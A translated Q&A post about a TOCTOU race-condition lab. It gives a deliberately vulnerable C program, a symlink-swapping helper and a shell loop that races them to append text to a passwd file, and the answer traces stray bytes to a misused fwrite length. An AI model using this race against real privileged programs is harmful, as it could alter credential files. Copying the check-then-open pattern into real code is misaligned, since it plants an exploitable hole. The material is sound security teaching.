在 Linux 中使用管道向程序提供输入时会出现一些转储

在 Linux 中使用管道向程序提供输入时会出现一些转储

我现在正在尝试通过使用竞争条件错误来进行利用。然而,问题出现了;我从未赋予这个过程的价值观就会显现出来。

以下是该案例的描述。

场景:攻击者发现某些程序容易受到竞争条件的影响。因此,她编写了一个程序,从攻击者可以管理的文件创建到 ./passwd 文件的符号链接。之后,她制作了一个 shell 脚本,该脚本同时运行有漏洞的程序和她制作的程序,直到检测到 ./passwd 文件的修改。

易受攻击的代码在这里:

易受攻击的程序.c

#include<stdio.h>
#include<unistd.h>
#include<string.h>

#define DELAY 50000


int main(int argc, char *argv[]){
    char *fileName = argv[1];
    char buffer[60];

    int i;

    FILE *fileHandler;

    scanf("%50s", buffer);

    if(!access(fileName, W_OK)){
        int a;
        for(i=0;i<DELAY;i++){
            a=i^2;
        }

        fileHandler = fopen(fileName, "a+");

        fwrite("\n", sizeof(char), strlen(buffer), fileHandler);
        fwrite(buffer, sizeof(char), strlen(buffer), fileHandler);
        fwrite("\n", sizeof(char), 1, fileHandler);
        fclose(fileHandler);
    }

    else{
     
    }
 
}

利用竞争条件进行攻击的程序如下:

符号链接.c

#include<stdio.h>
#include<unistd.h>
#include<string.h>

int main(int argc, char *argv[]){
    unlink(argv[1]);
    symlink("./passwd", argv[1]);
    return 0;
}

这是 shell 脚本:

漏洞利用程序

old=`ls -l passwd`; new=`ls -l passwd`

while [ "$old" = "$new" ]
do

    rm -rf temp
    echo "This is a file that the user can overwrite" > temp
    echo -e "TOCTOU-Attack-Success" | ./vulnerable-program temp & ./symbolic-link temp & new=`ls -l passwd`


done

rm -rf temp;

echo "STOP... The passwd file has been changed"

但是,如果我运行exploit.sh,结果会变成这样:

在此输入图像描述

另外,如果我尝试提供一个非常长的字符串,就像 /etc/shadow 文件中写入的用户信息一样,它会不断出现在 passwd 文件中,并被截断。


实际上,一开始,printf("No Permission \n");vulnerable-program.c 的 else 分支中有一行代码。但是,由于同样的问题,字符串“No Permission”不断连接在“TOCTOU-Attack-Success”字符串前面,并连续传递到 passwd 文件,以使我删除该代码行。

如果你们能帮助我,我将非常高兴...现在我真的不知道该怎么做来排除故障。

答案1

fwrite("\n", sizeof(char), strlen(buffer), fileHandler);

发送一个换行符,加上来自只读数据区域的一些垃圾,这些垃圾恰好位于常量字符串“\n”之后,直到输入字符串的长度。

相关内容